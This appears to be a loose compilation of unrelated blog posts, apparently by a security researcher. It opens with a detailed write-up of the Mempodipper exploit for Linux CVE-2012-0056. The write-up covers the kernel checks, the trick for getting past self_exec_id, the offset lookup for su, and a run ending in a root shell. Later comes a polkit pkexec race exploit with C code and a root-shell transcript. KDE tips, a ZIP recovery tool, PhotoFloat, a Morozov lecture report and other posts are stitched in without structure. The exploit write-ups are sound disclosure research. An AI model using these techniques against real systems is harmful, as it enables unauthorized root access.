When /proc/pid/mem is opened, this kernel code is called:

static int mem_open(struct inode* inode, struct file* file)
{
	file->private_data = (void*)((long)current->self_exec_id);
	/* OK to pass negative loff_t, we can catch out-of-range */
	file->f_mode |= FMODE_UNSIGNED_OFFSET;
	return 0;
}

There are no restrictions on opening; anyone can open the /proc/pid/mem fd for any process (subject to the ordinary VFS restrictions). It simply makes note of the original process’s self_exec_id that it was opened with and stores this away for checking later during reads and writes.

Writes (and reads), however, have permissions checking restrictions. Let’s take a look at the write function:

static ssize_t mem_write(struct file * file, const char __user *buf,
			 size_t count, loff_t *ppos)
{
 
/* unimportant code removed for blog post */	
 
	struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
 
/* unimportant code removed for blog post */
 
	mm = check_mem_permission(task);
	copied = PTR_ERR(mm);
	if (IS_ERR(mm))
		goto out_free;
 
/* unimportant code removed for blog post */	
 
	if (file->private_data != (void *)((long)current->self_exec_id))
		goto out_mm;
 
/* unimportant code removed for blog post
 * (the function here goes onto write the buffer into the memory)
 */

So there are two relevant checks in place to prevent against unauthorized writes: check_mem_permission and self_exec_id. Let’s do the first one first and second one second.

The code of check_mem_permission simply calls into __check_mem_permission, so here’s the code of that:

static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
	struct mm_struct *mm;
 
	mm = get_task_mm(task);
	if (!mm)
		return ERR_PTR(-EINVAL);
 
	/*
	 * A task can always look at itself, in case it chooses
	 * to use system calls instead of load instructions.
	 */
	if (task == current)
		return mm;
 
	/*
	 * If current is actively ptrace'ing, and would also be
	 * permitted to freshly attach with ptrace now, permit it.
	 */
	if (task_is_stopped_or_traced(task)) {
		int match;
		rcu_read_lock();
		match = (ptrace_parent(task) == current);
		rcu_read_unlock();
		if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
			return mm;
	}
 
	/*
	 * No one else is allowed.
	 */
	mmput(mm);
	return ERR_PTR(-EPERM);
}

There are two ways that the memory write is authorized. Either task == current, meaning that the process being written to is the process writing, or current (the process writing) has esoteric ptrace-level permissions to play with task (the process being written to). Maybe you think you can trick the ptrace code? It’s tempting. But I don’t know. Let’s instead figure out how we can make a process write arbitrary memory to itself, so that task == current.

Now naturally, we want to write into the memory of suid processes, since then we can get root. Take a look at this:

$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy

su will spit out whatever text you want onto stderr, prefixed by “Unknown id:”. So, we can open a fd to /proc/self/mem, lseek to the right place in memory for writing (more on that later), use dup2 to couple together stderr and the mem fd, and then exec to su $shellcode to write an shell spawner to the process memory, and then we have root. Really? Not so easy.

Here the other restriction comes into play. After it passes the task == current test, it then checks to see if the current self_exec_id matches the self_exec_id that the fd was opened with. What on earth is self_exec_id? It’s only referenced a few places in the kernel. The most important one happens to be inside of exec:

void setup_new_exec(struct linux_binprm * bprm)
{
/* massive amounts of code trimmed for the purpose of this blog post */
 
	/* An exec changes our domain. We are no longer part of the thread
	   group */
 
	current->self_exec_id++;
 
	flush_signal_handlers(current, 0);
	flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);

self_exec_id is incremented each time a process execs. So in this case, it functions so that you can’t open the fd in a non-suid process, dup2, and then exec to a suid process… which is exactly what we were trying to do above. Pretty clever way of deterring our attack, eh?

Here’s how to get around it. We fork a child, and inside of that child, we exec to a new process. The initial child fork has a self_exec_id equal to its parent. When we exec to a new process, self_exec_id increments by one. Meanwhile, the parent itself is busy execing to our shellcode writing su process, so its self_exec_id gets incremented to the same value. So what we do is — we make this child fork and exec to a new process, and inside of that new process, we open up a fd to /proc/parent-pid/mem using the pid of the parent process, not our own process (as was the case prior). We can open the fd like this because there is no permissions checking for a mere open. When it is opened, its self_exec_id has already incremented to the right value that the parent’s self_exec_id will be when we exec to su. So finally, we pass our opened fd from the child process back to the parent process (using some very black unix domain sockets magic), do our dup2ing, and exec into su with the shell code.

There is one remaining objection. Where do we write to? We have to lseek to the proper memory location before writing, and ASLR randomizes processes address spaces making it impossible to know where to write to. Should we spend time working on more cleverness to figure out how to read process memory, and then carry out a search? No. Check this out:

$ readelf -h /bin/su | grep Type
  Type:                              EXEC (Executable file)

This means that su does not have a relocatable .text section (otherwise it would spit out “DYN” instead of “EXEC”). It turns out that su on the vast majority of distros is not compiled with PIE, disabling ASLR for the .text section of the binary! So we’ve chosen su wisely. The offsets in memory will always be the same. So to find the right place to write to, let’s check out the assembly surrounding the printing of the “Unknown id: blabla” error message.

It gets the error string here:

  403677:       ba 05 00 00 00          mov    $0x5,%edx
  40367c:       be ff 64 40 00          mov    $0x4064ff,%esi
  403681:       31 ff                   xor    %edi,%edi
  403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)

And then writes it to stderr:

  403688:       48 8b 3d 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)
  40368f:       48 89 c2                mov    %rax,%rdx
  403692:       b9 20 88 60 00          mov    $0x608820,%ecx
  403697:       be 01 00 00 00          mov    $0x1,%esi
  40369c:       31 c0                   xor    %eax,%eax
  40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)

Closes the log:

  4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)

And then exits the program:

  4036a8:       bf 01 00 00 00          mov    $0x1,%edi
  4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)

We therefore want to use 0×402178, which is the exit function it calls. We can, in an exploit, automate the finding of the exit@plt symbol with a simple bash one-liner:

$ objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x402178

So naturally, we want to write to 0×402178 minus the number of letters in the string “Unknown id: “, so that our shellcode is placed at exactly the right place.

The shellcode should be simple and standard. It sets the uid and gid to 0 and execs into a shell. If we want to be clever, we can reopen stderr by, prior to dup2ing the memory fd to stderr, we choose another fd to dup stderr to, and then in the shellcode, we dup2 that other fd back to stderr.

In the end, the exploit works like a charm with total reliability:

 
CVE-2012-0056 $ ls
build-and-run-exploit.sh  build-and-run-shellcode.sh  mempodipper.c  shellcode-32.s  shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================
 
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#

You can watch a video of it in action:

As always, thanks to Dan Rosenberg for his continued advice and support. I’m currently not releasing any source code, as Linus only very recently patched it. After a responsible amount of time passes or if someone else does first, I’ll publish. If you’re a student trying to learn about things or have otherwise legitimate reasons, we can talk.

Update: evidently, based on this blog post, ironically, some other folks made exploits and published them. So, here’s mine. I wrote the shellcode for 32-bit and 64-bit by hand. Enjoy!

Update 2: as it turns out, Fedora very aptly compiles their su with PIE, which defeats this attack. They do not, unfortunately, compile all their SUID binaries with PIE, and so this attack is still possible with, for example, gpasswd. The code to do this is in the “fedora” branch of the git repository, and a video demonstration is also available.

Update 3: Gentoo is smart enough to remove read permissions on SUID binaries, making it impossible to find the exit@plt offset using objdump. I determined another way to do this, using ptrace. Ptrace allows debugging of any program in memory. For SUID programs, ptracing will drop its privileges, but that’s fine, since we simply want to find internal memory locations. By parsing the opcode of the binary at the right time, we can decipher the target address of the next call after the printing of the error message. I’ve created a standalone utility that returns the offset, as well as integrating it into the main mempodipper source.

{As always, this is work here is strictly academic, and is not intended for use beyond research and education.}

I’m using Kde on my computer at work and it is amazing. It’s improved so much that it’s now stable and highly usable.

I tried Unity (I’m using Ubuntu) and it was unusable. Gnome 3 was better but had massive issues with my second screen (dual screen setup with nvdia gpu running in twin view). Gnome 3 was still lacking in the productivity area though. Lxde worked great but I don’t want to use a desktop that looks and feels like Windows 95… Also Lxde has few apps so I had to pull in gnome or ode ones…

I also had issues with Ubuntu’s lightdm but switching to kdm fixed that. So far Kde is the only desktop that fully works, feels good, looks good and has apps for every task.

John
—
Sent from my phone

Finally folks are figuring out that KDE doesn’t suck anymore.

Gnome 3, Unity…they are like the George W. Bush of the non-KDE Linux desktop movement. Instead of taking care of the real issues on the desk, they went gallavanting off into the netbook world, dropping bombs all over the place and even to this day nobody can really figure out what the point of netbooks is…

There’s plenty of technical explanation in the comments of the code. I was assigned CVE-2011-4124, CVE-2011-4125, and CVE-2011-4126, my first three CVEs.

After that, I decided to learn about linker bugs, so I reread Tavis’ excellent two write-ups on CVE-2010-3856 and CVE-2010-3847. I saw that there was room for writing a newer exploit based on his research that did not depend on having read access to SUID executables or having a cron daemon installed, so I wrote I Can’t Read and I Won’t Race You Either. The source has plenty of explanation. I also suggest reading Tim Brown’s excellent paper on linker bugs.

set-wallpaper.sh:

#!/bin/sh
js=$(mktemp)
cat > $js <<_EOF
var wallpaper = "$1";
var activity = activities()[0];
activity.currentConfigGroup = new Array("Wallpaper", "image");
activity.writeConfig("wallpaper", wallpaper);
activity.writeConfig("userswallpaper", wallpaper);
activity.reloadConfig();
_EOF
qdbus org.kde.plasma-desktop /App local.PlasmaApp.loadScriptInInteractiveConsole "$js" > /dev/null
xdotool search --name "Desktop Shell Scripting Console – Plasma Desktop Shell" windowactivate key ctrl+e key ctrl+w
rm -f "$js"

convert-url-to-pdf.sh:

#!/bin/sh
 
# by Jason A. Donenfeld
# www.zx2c4.com
 
if [ $# -ne 2 ]; then
        echo "Usage: $0 url output-pdf-file"
        exit 1
fi
 
set -e
documenturl="$(echo -n "$1" | xxd -plain | tr -d '\n' | sed 's/\(..\)/%\1/g')"
viewerurl="http://docs.google.com/viewer?url=$documenturl"
pdfurl="$(printf "$(curl -s "$viewerurl" | sed -n "s/.*gpUrl:'\\([^']*\\)'.*/\\1/p" | sed 's/%/%%/g')")"
cookiejar="$(mktemp)"
curl -s -L -c "$cookiejar" -o "$2" $pdfurl
rm -f "$cookiejar"

Upstream, i.e. Gentoo devs, doesn’t seem to want to add an autostart USE flag. I don’t feel like maintaining my own ebuild for this, either. So, the official advice is to copy hplip-systray.desktop into a special place in your own home folder, and then edit the file to have Hidden=true. Yuck. So now my start-up routine will have to spend extra CPU cycles resolving the override, not to mention the requirement for each and every user on my machine to do this. Sure I could add this extra file to the default set of files copied into each home folder on user creation for each desktop environment, but do I really want to do this? What about preexisting users? Do I really want this system installed package to require this kind of manual intervention? The obvious thing to do is just to delete /etc/xdg/autostart/hplip-systray.desktop after each time hplip installs, namely, after each update.

But the official advice calls this approach “naive”. Fuck that. I don’t want the extra overhead of working out the collision, nor do I want to have to add this file to each user’s home folder. I want that file gone, dead, vamos‘d. The thing is, it means I have to manually remove the file after each time the ebuild gets updated (and remember, I don’t want to maintain my own fork of the ebuild).

Fortunately, there’s a solution: Portage allows per-package environment variable overrides via /etc/portage/env/. By putting some monkey patching code in the right place, we can override a function inside of all subsequent hplip ebuilds to automagically remove the ugly file. Create the right directory:

sudo mkdir -p /etc/portage/env/net-print

Then, add my monkey patch code to it:

sudo vim /etc/portage/env/net-print/hplip

if ( ! type -t original_src_install >/dev/null) && (type -t src_install >/dev/null); then
        eval "$(echo 'original_src_install()'; declare -f src_install | tail -n +2)"
        src_install() {
                original_src_install
                rm -f "${D}"/etc/xdg/autostart/hplip-systray.desktop || die
        }
fi

Finally, re-emerge hplip, and it should install without the autostart file. Yes, this is one ugly bash-ism, but it seems to do the job. Any suggestions would be appreciated.

INSTALL_MASK="/etc/xdg/autostart/hplip-systray.desktop $INSTALL_MASK"

inside of /etc/portage/env/net-print/hplip, without needing to do the monkey patching above. INSTALL_MASK is a great feature, one that is not highlighted very much at all in the documentation. The most official mention of it I could find is in make.conf‘s man page:

       INSTALL_MASK = [space delimited list of file names]
              Use this variable if you want  to  selectively  prevent  certain
              files  from  being copied into your file system tree.  This does
              not work on symlinks, but only on actual files.  Useful  if  you
              wish  to  filter  out  files  like  HACKING.gz  and TODO.gz. The
              INSTALL_MASK is processed just before a package is merged.  Also
              supported  is  a  PKG_INSTALL_MASK variable that behaves exactly
              like INSTALL_MASK except that it is processed just  before  cre‐
              ation of a binary package.

Internally in misc-functions.sh, it does essentially the same thing as my monkey patch:

install_mask() {
	local root="$1"
	shift
	local install_mask="$*"
 
	# we don't want globbing for initial expansion, but afterwards, we do
	local shopts=$-
	set -o noglob
	for no_inst in ${install_mask}; do
		set +o noglob
		quiet_mode || einfo "Removing ${no_inst}"
		# normal stuff
		rm -Rf "${root}"/${no_inst} >&/dev/null
 
		# we also need to handle globs (*.a, *.h, etc)
		find "${root}" \( -path "${no_inst}" -or -name "${no_inst}" \) \
			-exec rm -fR {} \; >/dev/null 2>&1
	done
	# set everything back the way we found it
	set +o noglob
	set -${shopts}
}

David Zeuthen of Redhat explains on the original bug report:

Briefly, the problem is that the UID for the parent process of pkexec(1) is read from /proc by stat(2)’ing /proc/PID. The problem with this is that this returns the effective uid of the process which can easily be set to 0 by invoking a setuid-root binary such as /usr/bin/chsh in the parent process of pkexec(1). Instead we are really interested in the real-user-id. While there’s a check in pkexec.c to avoid this problem (by comparing it to what we expect the uid to be – namely that of the pkexec.c process itself which is the uid of the parent process at pkexec-spawn-time), there is still a short window where an attacker can fool pkexec/polkitd into thinking that the parent process has uid 0 and is therefore authorized. It’s pretty hard to hit this window – I actually don’t know if it can be made to work in practice.

Well, here is, in fact, how it’s made to work in practice. There is as he said an attempted mitigation, and the way to trigger that mitigation path is something like this:

     $ sudo -u `whoami` pkexec sh
     User of caller (0) does not match our uid (1000)

Not what we want. So the trick is to execl to a suid at just the precise moment /proc/PID is being stat(2)’d. We use inotify to learn exactly when it’s accessed, and execl to the suid binary as our very next instruction.

	if (fork()) {
		int fd;
		char pid_path[1024];
		sprintf(pid_path, "/proc/%i", getpid());
		printf("[+] Configuring inotify for proper pid.\n");
		close(0); close(1); close(2);
		fd = inotify_init();
		if (fd < 0)
			perror("[-] inotify_init");
		inotify_add_watch(fd, pid_path, IN_ACCESS);
		read(fd, NULL, 0);

All the code up to this point makes this process block until /proc/PID is read, at which point it:

		execl("/usr/bin/chsh", "chsh", NULL);

Which is suid. Meanwhile in the other process, we launch pkexec, which skirts passed the initial checks, but gets fooled when we change the uid of the parent process:

	} else {
		sleep(1);
		printf("[+] Launching pkexec.\n");
		execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL);
	}

And it works:

 $ pkexec --version
 pkexec version 0.101
 $ gcc polkit-pwnage.c -o pwnit
 $ ./pwnit 
 [+] Configuring inotify for proper pid.
 [+] Launching pkexec.
 sh-4.2# whoami
 root
 sh-4.2# id
 uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
 sh-4.2#

This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which as of writing uses 0.101, has backported 0.102's bug fix. A way to check this is by looking at the mtime of /usr/bin/pkexec -- April 19, 2011 or later and you're out of luck. It's likely other distributions do the same. Fortunately, this exploit is clean enough that you can try it out without too much collateral.

So head on over and try it out! You can watch it in action over on YouTube as well:

Greets to Dan.

Viscom 2011

I built the PrintCompositor.

So in a few lines of easy Qt/C++, I wrote vcardexport, a console application. It spits all the contacts out into one giant vcard file that can be reimported later with vcardconverter. Simple and easy. The biggest pain was getting the Aegis manifest correct, as the auto-generation tool is broken, and documentation is kind of sparse, but it’s all sorted now.

You can browse the source here or download the latest deb from here.

Usage:

$ /opt/vcardexport/bin/vcardexport > ~/vcards.vcf

Hope this is helpful. Enjoy the new firmware:

    image        [state    progress         transfer     flash speed]
---------------------------------------------------------------------
[x] cert-sw      [finished   100 %       1 /       1 kB      NA     ]
[x] cmt-2nd      [finished   100 %      95 /      95 kB      NA     ]
[x] cmt-algo     [finished   100 %     789 /     789 kB      NA     ]
[x] cmt-mcusw    [finished   100 %    6008 /    6008 kB    2933 kB/s]
[x] xloader      [finished   100 %      23 /      23 kB      NA     ]
[x] secondary    [finished   100 %      88 /      88 kB      NA     ]
[x] kernel       [finished   100 %    2708 /    2708 kB    2024 kB/s]
[x] rootfs       [finished   100 %  326205 /  326205 kB    7339 kB/s]
[x] mmc          [finished   100 %  204747 /  204747 kB   17604 kB/s]
Updating SW release
Success

$ node wiki-philosophy.js Seinfeld
Seinfeld
        Nihilism
                Philosophy

$ node wiki-philosophy.js Superman
Superman
        Cultural icon
                Philosophy

$ node wiki-philosophy.js Burrito
Burrito
        Mexican cuisine
                Tribute
                        Philosophy

Play around with it! I’ve posted it with install instructions over in my git repository. Hopefully Ryan will pull back my changes into his repository and continue to develop this into something creative.

Unfortunately, the projector in the room was broken, so we all had to huddle around my laptop, which actually had the effect of making the workshop much more intimate. If you’re interested, here’s the code we wrote together.

There are two models of the E52 — the E52-1, which has European 3G frequencies, and the E52-2, which has North American 3G frequencies. I’m looking for the E52-2.

If anyone knows there whereabouts of an E52-2, please inform me. I will bid high.

With that said, maybe it’s time for me to find a smartphone. I still use an old Nokia 1100, which doesn’t support much more than calling and SMS. And Snake II. Windows Phone 7 is out. Meego is dead. WebOS is limping. Blackberry has an arcane dev environment. What’s that leave? Junked up Android. As a platform, Android seems to already be experiencing some bloat and disorganization and Java doesn’t seem too hot. But at the very least it runs Qt now.

The big problem is finding a satisfactory phone. My critera are fairly simple:

QWERTY physical keyboard (I actually would prefer T9, but this is now long past ). This is very important. I will not compromise about this.

But nothing like this exists. Well, the Xperia Pro looks almost perfect — AT&T 3G (approx), fast processor, pretty screen, great keyboard, etc — except so far it’s only available for pre-order in the UK and it’s looking unlikely it’ll be hitting the US.

What is out there that meets these criteria? Why has my research turned up dry continually?

[Sidenote: actually, the perfect phone for me might be the very dated Nokia E52, but I can't seem to find a north american model anywhere, even on eBay.]

. He was kind enough to upload a ZIP of the RAW (Canon Raw 2 – CR2) photos to my FTP server overnight from his killer 50mbps pipe. The next day, he left for a long period of traveling.

I downloaded the ZIP archive, eager to start playing with the photographs and learning about RAW photos and playing with tools like dcraw, lensfun, and ufraw, and also seeing if I could forge Canon’s “Original Decision Data” tags. To my dismay, the ZIP file was corrupted. I couldn’t ask my brother to re-upload it or rsync the changes or anything like that because he was traveling and it was already a great burden for him to upload these in the nick of time. I tried zip -F and zip -FF and even a few Windows shareware tools. Nothing worked. So I decided to write my own tool, using nothing more than the official PKZIP spec and man pages.

First a bit about how ZIP files are structured — everything here is based on the famous official spec in APPNOTE.TXT. Zip files are structured like this:

    [local file header 1]
    [file data 1]
    [data descriptor 1]
    .
    .
    .
    [local file header n]
    [file data n]
    [data descriptor n]
    [archive decryption header]
    [archive extra data record]
    [central directory]
    [zip64 end of central directory record]
    [zip64 end of central directory locator]
    [end of central directory record]

Generally unzippers seek to the central directory at the end of the file, which has the locations of all the files in the zip, along with their sizes and names. It reads this in, then seeks back up to the top to read the files off one by one.

The strange thing about my brother’s broken file was that the beginning files would work and the end files would work, but the middle 11 gigabytes were broken, with Info-ZIP complaining about wrong offsets and lseeks. I figured that some data had been duplicated/reuploaded at random spots in the middle, so the offsets in the zip file’s central directory were broken.

For each file, however, there is a local file header and an optional data descriptor. Each local file header starts with the same signature (0x04034b50), and contains the file name and the size of the file that comes after the local file header. But sometimes, the size of the file is not known until the file has already been inserted in the zip file, in which case, the local file header reports “0″ for the file size and sets bit 3 in a bit flag. This indicates that after the file, of unknown length, there will be a data descriptor that says the file size. But how do we know where the file ends, if we don’t know the length before hand? Well, usually this data is duplicated in the central directory at the end of the zip file, but I wanted to avoid parsing this all together. Instead, it turns out that, though not in the official spec, APPNOTE.TXT states, “Although not originally assigned a signature, the value 0x08074b50 has commonly been adopted as a signature value for the data descriptor record. Implementers should be aware that ZIP files may be encountered with or without this signature marking data descriptors and should account for either case when reading ZIP files to ensure compatibility. When writing ZIP files, it is recommended to include the signature value marking the data descriptor record.” Bingo.

So the recovery algorithm works like this:

• Look for a local file header signature integer, reading 4 bytes, and rewinding 3 each time it fails.
• Once found, see if the size is there. If the size is in it, read the data to the file path.
• If the size isn’t there, search for the data descriptor signature, reading 4 bytes, and rewinding 3 each time it fails.
• When found, rewind to the start of the data segment and read the number of bytes specified in the data descriptor.
• Rewind to 4 bytes after the local file header signature and repeat process.

The files may optionally be deflated, so I use zlib inline to inflate, the advantage of which is that this has its own verification built in, so I don’t need to use zip’s crc32 (though I should).

Along the way there is some additional tricky logic for making sure we’re always searching with maximum breadth.

The end result of all this was… 100% recovery of the files in the archive, complete with their full file names. Win.

You can check out the code here. Suggestions are welcome. It’s definitely a quick hack, but it did the job. Took a lot of fiddling with to make it work, especially figuring out __attribute__((packed)) to turn off gcc’s power-of-two padding.

PhotoFloat follows the design of using a static html page with a static javascript app that creates dynamic layouts from static json files on the server. This means that googlebot has nothing to index, since it doesn’t run javascript. Uh oh!

But not quite. A comment in my blog post pointed me toward Google’s AJAX Crawl specification, which is incredible. Basically, sites that use URLs like: http://photos.​jasondonenfeld.​com/#!/​columbia_winter_senior​/img_1712.jpg with the #! in there (as Twitter does, for example) get rewritten by googlebot to http://photos.​jasondonenfeld.​com/?_escaped_fragment_=​columbia_winter_senior​/img_1712.jpg. Then, on the server, using a combination of mod_rewrite, a lil php script as a loader, and a tiny Java app I wrote around HtmlUnit (Google says HtmlUnit it’s industry standard), the server sends back static HTML as if a browser had already run all the JavaScript and executed HTML requests.

Aside from SEO, it means that Facebook’s crawler can get the proper title and the thumbnails:

The web evidently is moving away from server-generated HTML and onto JavaScript interfaces, and this is a way to keep up SEO.

Source:

RewriteCond %{QUERY_STRING} _escaped_fragment_=
RewriteRule . staticrender.php [L]

Hope this is useful.

I don’t really like database driven photo management software, and prefer instead to manage my photos in a good old no-nonsense directory structure. For this reason, I was particularly attracted to Zenphoto as a means of getting my photos online, as it works on directory structures. Unfortunately, Zenphoto is horrible; it’s riddled with bugs, inconstant, a cluttered architecture, and most of all, it’s extremely slow. Every time it runs, it re-scans directories and makes a bazillion SQL calls. The viewer interface is also outdated and clunky, having a different html page for each photo. So I went back to the drawing board and considered how to make things better.

Introducing PhotoFloat. The idea is this — instead of scanning and caching metadata and thumbnails during page load time, everything is to be done prior. It’s a bit of an old school mentality. There is a script that generates static json files of metadata and album structures and static thumbnails of images, so that all the content can be served directly by Apache. Why? Because I only need to generate new thumbnails and data files when I upload new images (or alternatively, on a cron job). So that’s what I did; I wrote a simple python script that walks a directory structure looking for new or changed images and albums. It’s smart too — to be super zippy, it does file modification time comparisons. It also cleans up after itself, deleting stale files.

So I have all my original images on my webserver, because I have Dreamhost’s unlimited hosting. I also have another directory that I populate with symlinks to the directories I actually want online. Every time there are new images, my python script fires up, and updated json data files and thumbnail files are generated.

Great, but where does this leave us? What can we do with json files? This is where things become wonderful. Since all the data for the gallery is AJAX fetchable, there is a single html page and a single javascript file that takes care of the whole gallery. That’s right — all of the display of views is done client side, and in one page load.

To keep track of pages and for swapping around links, each different album and different image has it’s own hash url, like, for example: #!/new_hampshire_in_snow_3.15.11-3.17.11/img_1919.jpg. It’s all lower case with naughty characters stripped out to keep up with the patterns of wordpress and other web apps. These function as permalinks.

The albums have extensive support for EXIF metadata, which can be loaded by clicking ‘show metadata’, and a transparent box slides up over the photo. There’s also the ability to download the original photos.

Each album gets a randomized thumbnail which assigns probabilities to each image in the album based on the number of images in each album and the depth of subalbums. The randomization algorithm is all done at client side.

Images are preloaded. Album data is prefetched. Everything is cached sanely. JSON files are gzipped. There are animations between views and smooth scrolling. The right and left arrow keys work. Clicking on the photo advances it, like on Facebook. Finally, I do include one dynamic script — a simple php script that takes old Zenphoto URLs and translates them into the new ones, so that people with old links can still access the same photos.

Essentially, there are a lot of little details that had to be done right, and to my knowledge, no web gallery that works on directory structures has done it well, making an ajaxy and speedy gallery. So now you have PhotoFloat. I’ve just finished writing it, and the code is a bit of a mess, but let me know if you have any suggestions or find any bugs.

You can browse the code in the git repository or try it out live on my photo site. If you make any modifications of my code or use it on your own site, please inform me and send any modifications back to me. Remember to run make on the web directory to minify the css and javascript, and also, be sure to change the google analytics tracking ID in web/js/999-googletracker.js.

Comments? Suggestions?

Update 2 for KDEers: It looks like some people from kipi-plugins and kphotoalbum are interested in building integration for this in.

Update 3: Following a suggestion in the comments below, URLs now use #!, which google translates to a special query string, and I’ve written a serverside component that executes the JavaScript and displays static content for googlebot. This allows the metadata to be crawled.

The most important things I see lacking in Kwin from KDE 4.5 are an API to allow windows to open in a specific existing group (make a new tab in the decoration), and that the windows from a specific group are not grouped in the taskbar. I also think that if these 2 problems are fixed, most apps in KDE could use the decoration tabs instead of relying on the currently used tabs, inside the application itself. The important thing to notice here is the natural mix between the application tabs and the menu button. These complete each other, and all apps in KDE which rely on tabs to show documents would ideally use this system (dolphin, rekonq, kate, kword… just to name a few).

Here are some screen shots proposed in the comment thread:

Having an easy API to enable this would be very welcome.
setMainMenu(menu);
setWindowTabs(tabWidget);

Elsewhere in KWin settings:

[ X ] Place tabs in window border when supported.
[   ] Place main menu in window border when supported.

So digging deeper, I supposed that those numbers surrounding the urls were coordinates on the globe. A simple sloppy bash one liner later and we have the following:

$ curl -s http://maps.google.com/maps/api/js?sensor=false|tr ',' '\n'|grep -E '([0-9]+\]+|\[+[0-9]+)'|tr -d ']['|head -n -2|tail -n +2|while read lat; do read long; echo "$(echo "scale=8;$lat / 10000000"|bc),$(echo "scale=8; $long / 10000000"|bc)"; done | sort | uniq

32.98908400,124.60556000
33.00000000,124.60500000
34.46467400,128.49609400
34.50000000,127.96000000
34.89000000,128.67000000
35.02774700,128.84765600
35.46900000,129.36000000
36.65000000,129.70000000
37.02777300,131.05316200
38.62000000,127.96000000
38.62000000,128.67000000
38.62000000,129.36000000
38.62000000,132.00347900
38.69301300,128.49609400
38.69301300,128.84765600
38.69301300,131.05316200
38.69301300,132.00347900

Open these in tabs. We see strange locations in the seas surrounding Korea, including a few locations on land.

Why?

Update: Mystery Solved! A commenter writes, “This is due to Korean law prohibiting exporting detailed maps outside of Korea. That’s why Google (and other companies like Yahoo) set up separate server in Korea for detailed Korean map tiles. Areas linked in this post are supposed to be Korean water and land frontiers. This is actually a legacy of cold war era.”

Qt on the desktop is currently not a priority for our R&D team, even though Nokia does use Qt for desktop applications (and not only Qt Creator). That doesn’t mean that nobody is working on it, however we do believe that Qt is a great development tool for desktop applications, even if we just maintain it and keep it working on the desktop platforms. We definitely want to keep it that way, and we continue to improve and modernize Qt on the desktop as well, but I personally don’t really see that there are a lot of new features we could add to make Qt significantly more powerful for desktop development (esp features that are already provided by other libraries – why cannibalize our own community?).

Perhaps obvious and expected, but are we okay with this admission?

…or is this just wishful thinking?

If his prediction is correct, does that mean Meego will be revived?

Update: Our voice has been heard about this, but they still don’t know what the hell is happening.

Having recently finished Dawking’s The God Delusion, an anxious audience murmured in fear of having their new deities of Facebook and Twitter crushed by Evgeny Morozov, at a lecture this Tuesday at Columbia’s School of International and Public Affairs on The Net Delusion, his recent analysis of social technology in authoritarian regimes. After working for NGOs that promoted “new media” for social justice, Morozov began to suspect that organizations like his own were doing more harm than good. He saw evidence not just of government censorship, but also of governments paying bloggers to publish propaganda and large government projects to scour social networks to learn how best to squelch opposition activists. Eventually he left his organization to investigate just how much an impact – for better or for worse – the Internet has had on activism in authoritarian countries.

Morozov claimed that our fundamental incorrect presumption about the Internet is what he called the “dictator’s dilemma”: either a country can keep the Internet out, and thus exclude themselves from the global economy, or they can let the Internet in and be eventually usurped by protestors well organized through websites like Twitter. In reality, however, autocratic powers have figured out how to let the Internet in without the supposed massive undermining consequences, not just through firewalls and censorship – as in the case of China – but through tracking and surveying. Governments can easily learn, with ease, which activists are associated with one another, what their plans are, how they acquire funds, and the like. There have even been reported instances in which governments have crawled Facebook for pictures of an anti-state protest, and then created a fake “crowd-sourcing” website that encouraged viewers to identify their “friends” in the pictures. Arrests came swiftly after. In Belarus, the government went so far as to request a cellphone company to query the identities of all cellphone users who were located in a particular square during a protest. And just last week in Tunisia, the government attempted to access protestors’ Facebook accounts. Of course, Morozov made sure to remind us that our own government undoubtedly has similar interests.

Just as he mentioned this last fact, the girl next to me logged onto Facebook and updated her status with an enthusiastic blurb about what an honor it was to see Morozov in person, most likely feeling particularly witty at her own self-aware irony. But it is a real issue, implored Morozov, while looking directly at each of the fifteen others wielding social technology as he spoke (which, of course, were exclusively iPhones and Macbooks, whose users never seem to pass up an opportunity for hyper-public self-consciously aware doubly-ironic gestures). The US is pushing a diplomatic agenda of Internet freedom, while at the same time actively spying on its citizens at home. Their programs for promoting freedom through technology are also not well thought-out. The US designed a program for Mexico whereby witnesses of drug violence could send a text message to a special number to report the crime. This plan received wide positive media coverage, when in reality, no actual cellphone carriers in Mexico were willing to support the service, because they were unable to ensure the anonymity of the messages. The carriers were aware that criminals could easily intercept these messages, a small fact the US government and the media chose to ignore. In general, the US media, according to Morozov, lacks the “critical rigor” to speak sensibly about the real effects of the Internet. Last year’s protests in Iran received intense media coverage for being a “Twitter Revolution”, when in reality, there were only sixty tweeters located in Iran. The rest of the tens of thousands of tweets were generated by media coverage.

We all left feeling slightly dejected that our treasured way of wasting time might possibly be responsible for the continuation of authoritarianism around the world. On the elevator downstairs, I looked up at a depressed crew of journalism PhD students and gleefully asked, “So are you all going to tweet about it?” I received nothing but double-death-stares, until the doors opened and one particularly embarrassed girl murmured, “I tweeted during the lecture. I didn’t know what else to do. I had to.”

On the same day, Twitter was credited as being an enabler of massive demonstrations in Cairo. The following day, Mark Zuckerberg’s Facebook was hacked.

Do you love Wikipedia but hate Jimmy Wales’ infuriating grin? Add this filter to your Adblock filter list and resume clicking-and-clicking-and-clicking in peace:

||wikipedia.org/w/index.php?title=*:BannerController
